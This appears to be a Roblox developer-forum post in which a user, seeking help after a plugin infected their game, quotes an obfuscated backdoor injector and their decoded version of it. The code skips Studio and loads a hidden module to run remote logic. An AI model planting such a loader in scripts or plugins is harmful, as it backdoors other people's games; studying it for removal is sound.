Recently, my game has been infected by a virus through a Script-line counting plugin. This injector is quite annoying and on my first attempt at disinfecting had me scanning the insides of every script in the game for any huge 1-liner pieces of code that it uses. RoDefender helped find what I believe were the remnants of it.
Thus, I am very curious on the code that the injector has. It seems to be very obfuscated require() code that is rather difficult to read and comprehend.
The original is the following:
ii7jT = string igrO5VHxN4EnsuN = 'Description' idFBsoRbI5P5C = 'PlaceId' iCpry = 'PlaceId' ibon = '?' itHiDH = 'Debris' iJePp1g = 'GetService' iMRuuW = require iYEv3Om = ii7jT.char i4QNs = 'Workspace' idJdCBQEdw = 'RunService' idmc5 = 'FindFirstChild' itFfQB = game iUGBMr = 'Name' iTuv2PKosPj7gJ47 = getfenv irjs062BC40 = 'WaitForChild' iaWZv = 'FindFirstChild' iAfgVXUIHje = 'MarketplaceService' iT62tYWp = 'Debris' ihx6UpMfSyr = 'IsStudio' iK6H7k4eqt = 'slo' iHcAMMd8wWk = 'SSM' ix3sWLpqdJb = 'IsStudio' ilIlHEVO5CV = pcall iFQmNqgMhcD9yDD = pcall if itFfQB[iJePp1g](itFfQB, idJdCBQEdw)[ix3sWLpqdJb](itFfQB[iJePp1g](itFfQB, idJdCBQEdw))then return end;iFQmNqgMhcD9yDD(function() if itFfQB[iJePp1g](itFfQB, iT62tYWp)[iaWZv](itFfQB[iJePp1g](itFfQB, iT62tYWp), ibon) then iTuv2PKosPj7gJ47()[iYEv3Om(2542395966 / 22301719) .. iYEv3Om(2252473619 / 22301719) .. iYEv3Om(2520094247 / 22301719) .. iYEv3Om(2609301123 / 22301719) .. iYEv3Om(2341680495 / 22301719) .. iYEv3Om(2542395966 / 22301719) .. iYEv3Om(2252473619 / 22301719)](itFfQB[iJePp1g](itFfQB, iT62tYWp)[iaWZv](itFfQB[iJePp1g](itFfQB, iT62tYWp), ibon))[iK6H7k4eqt](itFfQB[idFBsoRbI5P5C]) end end)
After a while of decoding it, I got to a reasonable original code of:
if game:GetService('RunService'):IsStudio(game:GetService('RunService'))then
return
end;
pcall(function()
if game:GetService('Debris')['FindFirstChild'](game['GetService'](game, 'Debris'), '?') then
getfenv()[require](game['GetService'](game, 'Debris')['FindFirstChild'](game['GetService'](game, 'Debris'), '?'))['slo'](game['PlaceId'])
end
end)
This code is naturally meant to look at strange as possible, but I have trouble understanding some things. I know the top statement is checking if youāre in Studio, so that it doesnāt activate the virus. But why does it have the RunService inside of that statement? What is it trying to require() in the bottom statement? Help on this would be quite helpful!